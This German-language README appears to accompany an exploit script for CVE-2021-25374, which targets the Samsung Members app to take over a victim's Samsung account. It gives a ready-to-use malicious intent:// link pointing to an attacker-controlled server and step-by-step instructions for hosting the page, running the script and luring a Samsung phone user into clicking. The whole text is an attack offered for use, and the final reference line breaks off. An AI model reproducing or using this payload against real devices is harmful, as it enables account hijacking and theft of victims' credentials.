CVE-2021-25374 - Samsung-Konto-Zugriffsskript

Dieses Skript kann verwendet werden, um Zugriff auf das Samsung-Konto eines Opfers zu erhalten, wenn auf dem Samsung-Gerät eine bestimmte Version von Samsung Members installiert ist und das Gerät des Opfers aus der Region USA oder Korea stammt.

So verwenden Sie dieses Skript:

1. Hosten Sie einen Webserver und lassen Sie ihn eine Webseite mit dem folgenden Link bereitstellen:

<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>

HINWEIS: Ersetzen Sie "<attacker IP>" durch die IP-Adresse, von der aus Sie dieses Skript ausführen werden.

2. Führen Sie dieses Skript aus

python3 ./samsung_account_access.py

3. Navigieren Sie mit einem Samsung-Telefon zum Webserver und klicken Sie auf den Link

4. Lassen Sie das Skript seine Arbeit machen

Weitere Informationen zu dem Problem, das dieses Skript ausnutzt, finden Sie hier: